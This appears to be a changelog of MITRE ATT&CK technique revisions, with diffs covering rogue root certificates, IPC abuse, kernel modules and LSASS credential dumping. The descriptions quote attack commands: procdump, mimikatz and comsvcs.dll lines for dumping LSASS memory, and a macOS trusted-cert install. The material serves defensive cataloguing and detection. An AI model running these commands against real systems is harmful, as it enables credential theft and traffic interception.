| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-23 11:31:50.636000+00:00 | 2021-10-20 19:01:56.752000+00:00 |
| x_mitre_data_sources[2] | Process: Process Creation | Application Log: Application Log Content |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_platforms | Office 365 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | File: File Content |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-24 13:59:13.144000+00:00 | 2021-10-19 13:37:31.463000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_platforms | Network |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 18:43:18.448000+00:00 | 2021-10-16 17:47:46.409000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may install a root certificate on a compromised | t | 1 | Adversaries may install a root certificate on a compromised |
| > | system to avoid warnings when connecting to adversary contro | > | system to avoid warnings when connecting to adversary contro | ||
| > | lled web servers. Root certificates are used in public key c | > | lled web servers. Root certificates are used in public key c | ||
| > | ryptography to identify a root certificate authority (CA). W | > | ryptography to identify a root certificate authority (CA). W | ||
| > | hen a root certificate is installed, the system or applicati | > | hen a root certificate is installed, the system or applicati | ||
| > | on will trust certificates in the root's chain of trust that | > | on will trust certificates in the root's chain of trust that | ||
| > | have been signed by the root certificate. (Citation: Wikipe | > | have been signed by the root certificate.(Citation: Wikiped | ||
| > | dia Root Certificate) Certificates are commonly used for est | > | ia Root Certificate) Certificates are commonly used for esta | ||
| > | ablishing secure TLS/SSL communications within a web browser | > | blishing secure TLS/SSL communications within a web browser. | ||
| > | . When a user attempts to browse a website that presents a c | > | When a user attempts to browse a website that presents a ce | ||
| > | ertificate that is not trusted an error message will be disp | > | rtificate that is not trusted an error message will be displ | ||
| > | layed to warn the user of the security risk. Depending on th | > | ayed to warn the user of the security risk. Depending on the | ||
| > | e security settings, the browser may not allow the user to e | > | security settings, the browser may not allow the user to es | ||
| > | stablish a connection to the website. Installation of a roo | > | tablish a connection to the website. Installation of a root | ||
| > | t certificate on a compromised system would give an adversar | > | certificate on a compromised system would give an adversary | ||
| > | y a way to degrade the security of that system. Adversaries | > | a way to degrade the security of that system. Adversaries h | ||
| > | have used this technique to avoid security warnings promptin | > | ave used this technique to avoid security warnings prompting | ||
| > | g users when compromised systems connect over HTTPS to adver | > | users when compromised systems connect over HTTPS to advers | ||
| > | sary controlled web servers that spoof legitimate websites i | > | ary controlled web servers that spoof legitimate websites in | ||
| > | n order to collect login credentials. (Citation: Operation E | > | order to collect login credentials.(Citation: Operation Emm | ||
| > | mmental) Atypical root certificates have also been pre-inst | > | ental) Atypical root certificates have also been pre-instal | ||
| > | alled on systems by the manufacturer or in the software supp | > | led on systems by the manufacturer or in the software supply | ||
| > | ly chain and were used in conjunction with malware/adware to | > | chain and were used in conjunction with malware/adware to p | ||
| > | provide a man-in-the-middle capability for intercepting inf | > | rovide [Adversary-in-the-Middle](https://attack.mitre.org/te | ||
| > | ormation transmitted over secure TLS/SSL communications. (Ci | > | chniques/T1557) capability for intercepting information tran | ||
| > | tation: Kaspersky Superfish) Root certificates (and their a | > | smitted over secure TLS/SSL communications.(Citation: Kasper | ||
| > | ssociated chains) can also be cloned and reinstalled. Cloned | > | sky Superfish) Root certificates (and their associated chai | ||
| > | certificate chains will carry many of the same metadata cha | > | ns) can also be cloned and reinstalled. Cloned certificate c | ||
| > | racteristics of the source and can be used to sign malicious | > | hains will carry many of the same metadata characteristics o | ||
| > | code that may then bypass signature validation tools (ex: S | > | f the source and can be used to sign malicious code that may | ||
| > | ysinternals, antivirus, etc.) used to block execution and/or | > | then bypass signature validation tools (ex: Sysinternals, a | ||
| > | uncover artifacts of Persistence. (Citation: SpectorOps Cod | > | ntivirus, etc.) used to block execution and/or uncover artif | ||
| > | e Signing Dec 2017) In macOS, the Ay MaMi malware uses <cod | > | acts of Persistence.(Citation: SpectorOps Code Signing Dec 2 | ||
| > | e>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Lib | > | 017) In macOS, the Ay MaMi malware uses <code>/usr/bin/secu | ||
| > | rary/Keychains/System.keychain /path/to/malicious/cert</code | > | rity add-trusted-cert -d -r trustRoot -k /Library/Keychains/ | ||
| > | > to install a malicious certificate as a trusted root certi | > | System.keychain /path/to/malicious/cert</code> to install a | ||
| > | ficate into the system keychain. (Citation: objective-see ay | > | malicious certificate as a trusted root certificate into the | ||
| > | mami 2018) | > | system keychain.(Citation: objective-see ay mami 2018) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 20:31:11.389000+00:00 | 2021-08-25 19:39:07.001000+00:00 |
| description | Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)
Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)
Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)
In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018) | Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)
Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)
Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)
In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018) |
| x_mitre_detection | A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)
Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)
* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25
* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85
* 3B1EFD3A66EA28B16697394703A72CA340A05BD5
* 7F88CD7223F3C813818C994614A89C99FA3B5247
* 8F43288AD272F3103B6FB1428485EA3014C0BCFE
* A43489159A520F0D93D032CCAF37E7FE20A8B419
* BE36A4562FB2EE05DBB3D32323ADF445084ED656
* CDD4EEAE6000AC7F40C3802C171E30148030C072 | A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)
Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)
* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25
* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85
* 3B1EFD3A66EA28B16697394703A72CA340A05BD5
* 7F88CD7223F3C813818C994614A89C99FA3B5247
* 8F43288AD272F3103B6FB1428485EA3014C0BCFE
* A43489159A520F0D93D032CCAF37E7FE20A8B419
* BE36A4562FB2EE05DBB3D32323ADF445084ED656
* CDD4EEAE6000AC7F40C3802C171E30148030C072 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse inter-process communication (IPC) mech | t | 1 | Adversaries may abuse inter-process communication (IPC) mech |
| > | anisms for local code or command execution. IPC is typically | > | anisms for local code or command execution. IPC is typically | ||
| > | used by processes to share data, communicate with each othe | > | used by processes to share data, communicate with each othe | ||
| > | r, or synchronize execution. IPC is also commonly used to av | > | r, or synchronize execution. IPC is also commonly used to av | ||
| > | oid situations such as deadlocks, which occurs when processe | > | oid situations such as deadlocks, which occurs when processe | ||
| > | s are stuck in a cyclic waiting pattern. Adversaries may a | > | s are stuck in a cyclic waiting pattern. Adversaries may a | ||
| > | buse IPC to execute arbitrary code or commands. IPC mechanis | > | buse IPC to execute arbitrary code or commands. IPC mechanis | ||
| > | ms may differ depending on OS, but typically exists in a for | > | ms may differ depending on OS, but typically exists in a for | ||
| > | m accessible through programming languages/libraries or nati | > | m accessible through programming languages/libraries or nati | ||
| > | ve interfaces such as Windows [Dynamic Data Exchange](https: | > | ve interfaces such as Windows [Dynamic Data Exchange](https: | ||
| > | //attack.mitre.org/techniques/T1559/002) or [Component Objec | > | //attack.mitre.org/techniques/T1559/002) or [Component Objec | ||
| > | t Model](https://attack.mitre.org/techniques/T1559/001). Hig | > | t Model](https://attack.mitre.org/techniques/T1559/001). Hig | ||
| > | her level execution mediums, such as those of [Command and S | > | her level execution mediums, such as those of [Command and S | ||
| > | cripting Interpreter](https://attack.mitre.org/techniques/T1 | > | cripting Interpreter](https://attack.mitre.org/techniques/T1 | ||
| > | 059)s, may also leverage underlying IPC mechanisms. | > | 059)s, may also leverage underlying IPC mechanisms. Adversar | ||
| > | ies may also use [Remote Services](https://attack.mitre.org/ | ||||
| > | techniques/T1021) such as [Distributed Component Object Mode | ||||
| > | l](https://attack.mitre.org/techniques/T1021/003) to facilit | ||||
| > | ate remote IPC execution.(Citation: Fireeye Hunting COM June | ||||
| > | 2019) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 19:34:47.546000+00:00 | 2021-10-15 19:48:30.432000+00:00 |
| description | Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. | Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Fireeye Hunting COM June 2019', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'} | |
| x_mitre_platforms | macOS |
Current version: 2.1
Version changed from: 2.0 → 2.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-27 19:21:05.521000+00:00 | 2021-08-16 21:02:05.142000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-30 00:59:53.716000+00:00 | 2021-10-19 04:03:46.357000+00:00 |
| x_mitre_detection | Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)
For macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity.
Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r) | Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)
Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)
On macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)
|
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'User Approved Kernel Extension Pike’s', 'description': 'Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading…. Retrieved September 23, 2021.', 'url': 'https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/'} | |
| external_references | {'source_name': 'Purves Kextpocalypse 2', 'description': 'Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.', 'url': 'https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/'} | |
| external_references | {'source_name': 'Apple Developer Configuration Profile', 'description': 'Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.', 'url': 'https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf'} | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to access credential material stored | t | 1 | Adversaries may attempt to access credential material stored |
| > | in the process memory of the Local Security Authority Subsy | > | in the process memory of the Local Security Authority Subsy | ||
| > | stem Service (LSASS). After a user logs on, the system gener | > | stem Service (LSASS). After a user logs on, the system gener | ||
| > | ates and stores a variety of credential materials in LSASS p | > | ates and stores a variety of credential materials in LSASS p | ||
| > | rocess memory. These credential materials can be harvested b | > | rocess memory. These credential materials can be harvested b | ||
| > | y an administrative user or SYSTEM and used to conduct [Late | > | y an administrative user or SYSTEM and used to conduct [Late | ||
| > | ral Movement](https://attack.mitre.org/tactics/TA0008) using | > | ral Movement](https://attack.mitre.org/tactics/TA0008) using | ||
| > | [Use Alternate Authentication Material](https://attack.mitr | > | [Use Alternate Authentication Material](https://attack.mitr | ||
| > | e.org/techniques/T1550). As well as in-memory techniques, t | > | e.org/techniques/T1550). As well as in-memory techniques, t | ||
| > | he LSASS process memory can be dumped from the target host a | > | he LSASS process memory can be dumped from the target host a | ||
| > | nd analyzed on a local system. For example, on the target h | > | nd analyzed on a local system. For example, on the target h | ||
| > | ost use procdump: * <code>procdump -ma lsass.exe lsass_dump | > | ost use procdump: * <code>procdump -ma lsass.exe lsass_dump | ||
| > | </code> Locally, mimikatz can be run using: * <code>sekurl | > | </code> Locally, mimikatz can be run using: * <code>sekurl | ||
| > | sa::Minidump lsassdump.dmp</code> * <code>sekurlsa::logonPas | > | sa::Minidump lsassdump.dmp</code> * <code>sekurlsa::logonPas | ||
| > | swords</code> Windows Security Support Provider (SSP) DLLs | > | swords</code> Built-in Windows tools such as comsvcs.dll ca | ||
| > | are loaded into LSSAS process at system start. Once loaded | > | n also be used: * <code>rundll32.exe C:\Windows\System32\co | ||
| > | into the LSA, SSP DLLs have access to encrypted and plaintex | > | msvcs.dll MiniDump PID lsass.dmp full</code>(Citation: Vole | ||
| > | t passwords that are stored in Windows, such as any logged-o | > | xity Exchange Marauder March 2021)(Citation: Symantec Attack | ||
| > | n user's Domain password or smart card PINs. The SSP configu | > | s Against Government Sector) Windows Security Support Prov | ||
| > | ration is stored in two Registry keys: <code>HKLM\SYSTEM\Cur | > | ider (SSP) DLLs are loaded into LSSAS process at system star | ||
| > | rentControlSet\Control\Lsa\Security Packages</code> and <cod | > | t. Once loaded into the LSA, SSP DLLs have access to encrypt | ||
| > | e>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Securit | > | ed and plaintext passwords that are stored in Windows, such | ||
| > | y Packages</code>. An adversary may modify these Registry ke | > | as any logged-on user's Domain password or smart card PINs. | ||
| > | ys to add new SSPs, which will be loaded the next time the s | > | The SSP configuration is stored in two Registry keys: <code> | ||
| > | ystem boots, or when the AddSecurityPackage Windows API func | > | HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages< | ||
| > | tion is called.(Citation: Graeber 2014) The following SSPs | > | /code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\O | ||
| > | can be used to access credentials: * Msv: Interactive logon | > | SConfig\Security Packages</code>. An adversary may modify th | ||
| > | s, batch logons, and service logons are done through the MSV | > | ese Registry keys to add new SSPs, which will be loaded the | ||
| > | authentication package. * Wdigest: The Digest Authenticatio | > | next time the system boots, or when the AddSecurityPackage W | ||
| > | n protocol is designed for use with Hypertext Transfer Proto | > | indows API function is called.(Citation: Graeber 2014) The | ||
| > | col (HTTP) and Simple Authentication Security Layer (SASL) e | > | following SSPs can be used to access credentials: * Msv: In | ||
| > | xchanges.(Citation: TechNet Blogs Credential Protection) * K | > | teractive logons, batch logons, and service logons are done | ||
| > | erberos: Preferred for mutual client-server domain authentic | > | through the MSV authentication package. * Wdigest: The Diges | ||
| > | ation in Windows 2000 and later. * CredSSP: Provides SSO an | > | t Authentication protocol is designed for use with Hypertext | ||
| > | d Network Level Authentication for Remote Desktop Services.( | > | Transfer Protocol (HTTP) and Simple Authentication Security | ||
| > | Citation: TechNet Blogs Credential Protection) | > | Layer (SASL) exchanges.(Citation: TechNet Blogs Credential | ||
| > | Protection) * Kerberos: Preferred for mutual client-server d | ||||
| > | omain authentication in Windows 2000 and later. * CredSSP: | ||||
| > | Provides SSO and Network Level Authentication for Remote Des | ||||
| > | ktop Services.(Citation: TechNet Blogs Credential Protection | ||||
| > | ) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-09 20:46:00.393000+00:00 | 2021-10-15 19:55:01.368000+00:00 |
| description | Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).
As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.
For example, on the target host use procdump:
* procdump -ma lsass.exe lsass_dump
Locally, mimikatz can be run using:
* sekurlsa::Minidump lsassdump.dmp
* sekurlsa::logonPasswords
Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
The following SSPs can be used to access credentials:
* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)
| Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).
As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.
For example, on the target host use procdump:
* procdump -ma lsass.exe lsass_dump
Locally, mimikatz can be run using:
* sekurlsa::Minidump lsassdump.dmp
* sekurlsa::logonPasswords
Built-in Windows tools such as comsvcs.dll can also be used:
* rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)
Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
The following SSPs can be used to access credentials:
* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)
|
| external_references[1]['source_name'] | Graeber 2014 | Volexity Exchange Marauder March 2021 |
| external_references[1]['description'] | Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. | Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021. |
| external_references[1]['url'] | http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html | https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/ |
| external_references[2]['source_name'] | TechNet Blogs Credential Protection | Symantec Attacks Against Government Sector |
| external_references[2]['description'] | Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018. | Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021. |
| external_references[2]['url'] | https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/ | https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf |
| external_references[3]['source_name'] | Medium Detecting Attempts to Steal Passwords from Memory | Graeber 2014 |
| external_references[3]['description'] | French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019. | Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. |
| external_references[3]['url'] | https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea | http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html |
| external_references[4]['source_name'] | Powersploit | TechNet Blogs Credential Protection |
| external_references[4]['description'] | PowerSploit. (n.d.). Retrieved December 4, 2014. | Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018. |
| external_references[4]['url'] | https://github.com/mattifestation/PowerSploit | https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/ |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory', 'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'} | |
| external_references | {'source_name': 'Powersploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'url': 'https://github.com/mattifestation/PowerSploit'} | |
| x_mitre_contributors | Edward Millington |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 22:10:10.862000+00:00 | 2021-09-28 21:17:42.490000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Share: Network Share Access | |
| x_mitre_data_sources | Named Pipe: Named Pipe Metadata |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create or modify launch daemons to repeatedl | t | 1 | Adversaries may create or modify Launch Daemons to execute m |
| > | y execute malicious payloads as part of persistence. Per App | > | alicious payloads as part of persistence. Launch Daemons are | ||
| > | le’s developer documentation, when macOS and OS X boot up, l | > | plist files used to interact with Launchd, the service mana | ||
| > | aunchd is run to finish system initialization. This process | > | gement framework used by macOS. Launch Daemons require eleva | ||
